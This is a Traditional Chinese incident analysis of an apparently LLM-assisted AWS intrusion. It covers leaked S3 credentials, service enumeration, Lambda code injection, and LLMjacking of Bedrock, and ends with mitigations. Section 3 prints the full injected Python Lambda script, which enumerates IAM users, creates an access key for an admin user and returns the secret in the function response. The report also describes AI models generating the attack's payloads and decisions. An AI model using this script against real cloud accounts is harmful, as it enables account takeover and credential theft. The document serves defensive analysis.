1. 簡介

人工智慧 (AI) 與大型語言模型 (LLMs) 的快速進步為各行各業帶來了新的典範，包含網路安全領域。雖然這些技術為防禦提供了顯著的好處，但也為 Threat actors 提供了精密的工具。這份報告深入探討了最近發生的一起事件，其中 AI 輔助的雲端入侵在短短八分鐘內便取得了 AWS 環境的管理員存取權限 [1]。分析重點在於 Threat actor 所採用的技術方法，強調了 LLMs 在自動化偵察、生成 malicious payload 以及在攻擊鏈中進行即時戰術決策的關鍵角色。這項研究目的在剖析入侵的技術細節，提供對不斷演變的威脅形勢的見解，並提出強健的緩解策略。

8 分鐘攻陷雲端！當 AI 駭客盯上 S3 儲存桶中的 LLMjacking 關鍵資料 | 資訊安全新聞

2. 初始存取與偵察

對受害者 AWS 帳號的初始入侵是透過在公開可用的 Simple Storage Service (S3) buckets 中發現的遭洩漏認證所促成的。這些 buckets 被識別出包含 Retrieval-Augmented Generation (RAG) 資料，通常用於 AI 模型。遭竊的認證屬於一個 Identity and Access Management (IAM) 使用者，該使用者擁有 AWS Lambda 的讀取與寫入權限，以及對 AWS Bedrock 的受限存取權限。此設定顯示該 IAM 使用者很可能是為了透過 Lambda 函數編排的自動化 Bedrock 任務而設計的。一個關鍵的觀察是受影響 S3 buckets 的命名慣例，這與常見的 AI 工具識別符一致，表明攻擊者在偵察階段積極針對這些目標進行攻擊 [1]。

在初始存取後，Threat actor 對多個 AWS 服務進行了廣泛的偵察。鑑於遭洩漏 IAM 使用者的 ReadOnlyAccess 政策，攻擊者系統地列舉了 Secrets Manager、Systems Manager (SSM)、S3、Lambda、Elastic Compute Cloud (EC2)、Elastic Container Service (ECS)、Organizations、Relational Database Service (RDS) 和 CloudWatch 等服務中的資源。此外，攻擊者特別關注 AI 相關服務，詳細列舉了 Bedrock 的功能，包括 ListAgents 、 ListKnowledgeBases 、 GetKnowledgeBase 、 ListFoundationModels 、 ListCustomModels 、 GetModelInvocationLoggingConfiguration 、 ListInferenceProfiles 、 ListProvisionedModelThroughputs 和 ListModelInvocationJobs 。攻擊者還查詢了 OpenSearch Serverless 和 SageMaker，分別收集有關知識庫和機器學習模型的資訊 [1]。這種以不尋常速度執行的全面偵察，強烈暗示了自動化作業，且極有可能是由 LLMs 驅動的。

3. 透過 Lambda 程式碼注入進行權限提升

在初始偵察之後，Threat actor 轉向權限提升。攻擊者曾嘗試切換至具有常見管理名稱（例如 sysadmin、netadmin）的角色但未成功。利用遭洩漏使用者在 Lambda 上的 UpdateFunctionCode 和 UpdateFunctionConfiguration 權限，攻擊者利用了一個名為 EC2-init 的現有 Lambda 函式。該函式的程式碼經過多次演化修改，進行了三次不同的更新，最終成功入侵了一個名為 'frick' 的管理員使用者 [1]。

以下是注入到 Lambda 函式中的惡意 Python 程式碼最終版本，隨後是詳細的技術分析： 

  1. import boto3
  2. import json
  4. def lambda_handler(event, context):
  5.     results = {}
  6.     
  7.     # Identity
  8.     sts = boto3.client('sts')
  9.     results['identity'] = sts.get_caller_identity()['Arn']
  10.     
  11.     # IAM - lista svih usera i njihovih access keyeva (list all users and their access keys)
  12.     iam = boto3.client('iam')
  13.     try:
  14.         users = iam.list_users()
  15.         results['users'] = {}
  16.         for user in users['Users']:
  17.             try:
  18.                 keys = iam.list_access_keys(UserName=user['UserName'])
  19.                 policies = iam.list_attached_user_policies(UserName=user['UserName'])
  20.                 groups = iam.list_groups_for_user(UserName=user['UserName'])
  21.                 results['users'][user['UserName']] = {
  22.                     'keys': len(keys['AccessKeyMetadata']),
  23.                     'policies': [p['PolicyName'] for p in policies['AttachedPolicies']],
  24.                     'groups': [g['GroupName'] for g in groups['Groups']]
  25.                 }
  26.             except Exception as e:
  27.                 results['users'][user['UserName']] = str(e)
  28.     except Exception as e:
  29.         results['users_error'] = str(e)
  30.     
  31.     # Kreiraj admin access key (Create admin access key)
  32.     try:
  33.         # Probaj kreirati pristup za drugog korisnika (Try to create access for another user)
  34.         key = iam.create_access_key(UserName='frick')
  35.         results['frick_new_key'] = {
  36.             'AccessKeyId': key['AccessKey']['AccessKeyId'],
  37.             'SecretAccessKey': key['AccessKey']['SecretAccessKey']
  38.         }
  39.     except Exception as e:
  40.         results['frick_key_error'] = str(e)
  41.     
  42.     # Lista svih S3 bucketa i prvih fajlova (List all S3 buckets and first files)
  43.     s3 = boto3.client('s3')
  44.     try:
  45.         buckets = s3.list_buckets()
  46.         results['buckets'] = {}
  47.         for bucket in buckets['Buckets'][:5]:
  48.             try:
  49.                 objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=3)
  50.                 results['buckets'][bucket['Name']] = [o['Key'] for o in objects.get('Contents', [])]
  51.             except:
  52.                 results['buckets'][bucket['Name']] = 'access denied'
  53.     except Exception as e:
  54.         results['s3_error'] = str(e)
  55.     
  56.     return {'statusCode': 200, 'body': json.dumps(results, default=str)}

程式碼分析：

這段利用 boto3 函式庫進行 AWS 互動的 Python 腳本，執行了幾項關鍵的惡意操作：

  • 身份驗證： 它首先使用 sts.get_caller_identity()['Arn'] 識別目前的 IAM 身份。這一步驟對於攻擊者確認遭入侵 Lambda 函式執行角色的權限至關重要。
  • IAM 列舉： 腳本接著嘗試列出所有 IAM 使用者、其關聯的 access key、附加政策和群組。這種偵察有助於攻擊者描繪出 AWS 環境的使用者結構，並識別進一步權限提升或橫向移動的潛在目標。程式碼中的註解（顯著地使用了塞爾維亞語）顯示了 Threat actor 的來源。
  • 管理員 Access Key 建立： 腳本最關鍵的部分是嘗試使用 iam.create_access_key(UserName='frick') 為名為 'frick' 的特定管理員使用者建立新的 access key。如果成功，這將授予攻擊者對 'frick' 使用者權限的完整程式化存取。
  • S3 buckets 列表： 腳本還列出了最多五個 S3 buckets 以及每個 bucket 中的前三個物件，可能是為了識別敏感資料或進一步的攻擊向量。
  • 資料外洩： 所有這些操作的結果，包括為 'frick' 新建立的 access key，都會直接在 Lambda 函式的回傳結果中返回。這種方法允許攻擊者在不需要外部命令與控制通道或 reverse shell 的情況下取出敏感資訊，使偵測變得更具挑戰性。

開發和部署此腳本的速度，加上其全面的例外處理和詳細註解，強烈預示了使用 LLM 生成程式碼開發的可能性 [1]。為了規避預設的三秒 Lambda 執行超時，Threat actor 還透過 UpdateFunctionConfiguration20150331v2 將其增加到 30 秒。

權限提升流程：

graph TD A[Initial Access
via S3 Credentials] --> B{Compromised
IAM User Permissions}; B --> C[Extensive
AWS Service
Reconnaissance]; C --> D{Identify Lambda with
UpdateFunctionCode/
Configuration
Permissions}; D --> E[Inject
Malicious Python Code
into Lambda Function]; E --> F[Lambda Execution Role
Assumed]; F --> G[Create Access Keys
for Admin User 'frick']; G --> H[Exfiltrate
'frick' Access Keys
via Lambda Response]; H --> I[Attacker
Gains Admin Access];

4. 橫向移動與 LLMjacking

在成功提升權限後，Threat actor 開始在遭入侵的 AWS 組織內進行橫向移動。這涉及多次嘗試切換各種角色，包括跨帳號角色。一個顯著的目標是 OrganizationAccountAccessRole ，這是成員帳號中的預設角色，允許管理帳號中經授權的 IAM 使用者獲得管理員存取權限。攻擊者嘗試在管理帳號中切換此角色，但由於該角色在該處不存在而失敗 [1]。

有趣的是，攻擊者嘗試列舉帳號 ID 的行為包含了與 AI 幻覺一致的模式，例如連續數字 (123456789012) 和反向連續數字 (210987654321)，以及一個可能屬於真實外部帳號 (653711XXXXXX) 但不屬於受害者組織的 ID。這種行為進一步支持了 LLM 輔助活動的假設，模型可能會生成看似合理但錯誤的帳號識別符 [1]。

Threat actor 還濫用了 Amazon Bedrock（一項用於構建和擴展生成式 AI 應用程式的 AWS 服務），在被稱為 LLMjacking 的攻擊向量中。這涉及使用遭洩漏的認證來執行未經授權的模型推理，潛在地提取敏感資料或操縱 AI 模型行為。快速識別並利用這種小眾服務的能力，進一步強調了 AI/LLMs 為攻擊者提供的高級能力。

5. 防禦策略與緩解

為了應對精密的 AI 輔助雲端入侵，多層次防禦策略至關重要。Sysdig TRT 提供了一些緩解建議 [1]，這些建議可以與一般的網路安全最佳實踐結合：

  • IAM 強化： 組織應優先考慮最小權限原則，確保 IAM 使用者和角色僅擁有執行其功能所需的權限。應避免使用長期認證，轉而使用臨時認證（例如使用 IAM 角色）。定期輪換 access key 和強健的認證管理至關重要。
  • 加強監控與偵測： 持續監控 AWS CloudTrail 記錄以發現可疑活動（如大規模資源列舉、異常 API 呼叫或函式設定的快速變更）至關重要。異常偵測系統（如 Sysdig Secure）可以識別指示入侵的模式，例如偵察命令的快速執行或權限提升嘗試。
  • 安全程式碼實踐： 該事件強調了安全編碼實踐的重要性，特別是對於像 AWS Lambda 這樣的無伺服器函式。程式碼應定期進行漏洞掃描 (Static Application Security Testing - SAST) 並經過嚴格測試 (Dynamic Application Security Testing - DAST)。輸入驗證和資料的安全處理對於防止各種注入攻擊至關重要。例如，JSON Injection 文章 [3] 強調了嚴格輸入驗證和安全編碼的需求，以防止攻擊者操縱資料結構。
  • 網路分段與防火牆規則： 雖然攻擊主要利用了 IAM 權限，但網路分段仍然是一項基本的安全控制。實施嚴格的防火牆規則以限制入站和出站流量，可以防止未經授權的存取和資料外洩。在 Bind Shell 與 Reverse Shell 文章 [2] 中討論的原則，特別是關於防止 Reverse shell（出站連線）和 bind shell（入站連線）的防火牆設定，在限制攻擊者通訊通道方面具有高度相關性。
  • 使用者教育與培訓： 人為錯誤通常是攻擊者的初始入口點。教育使用者了解釣魚攻擊、社交工程以及暴露敏感資訊（如公開 S3 buckets 中的認證）的危險是基礎防禦。
  • 定期安全稽核與滲透測試： 主動的安全評估，包括對 AWS 設定的定期稽核和滲透測試，可以幫助在漏洞被利用之前發現並修補漏洞。

6. 結論

這起在短短八分鐘內取得管理員存取權限的 AI 輔助雲端入侵事件，冷酷地提醒我們網路威脅不斷演變且加速的本質。攻擊者熟練地使用 LLMs 進行自動化偵察、生成 malicious payload 並做出即時決策，顯著縮短了攻擊時間線並增加了其複雜性。這一事件強調了組織迫切需要採取進階的安全姿態，包括強健的 IAM 政策、持續監控、安全的開發生命週期以及全面的員工培訓。隨著 AI 能力持續進步，防禦和進攻策略都將不可避免地利用這些技術，因此需要一種主動且具適應性的雲端安全方法。從分析這類快速且自動化的攻擊中所獲得的見解，對於強化防禦以應對未來的 AI 驅動威脅具有無窮價值。

7. 參考資料

  1. AI-assisted cloud intrusion achieves admin access in 8 minutes
  2. Bind Shell 與 Reverse Shell 介紹
  3. JSON Injeciton 攻擊原理及防禦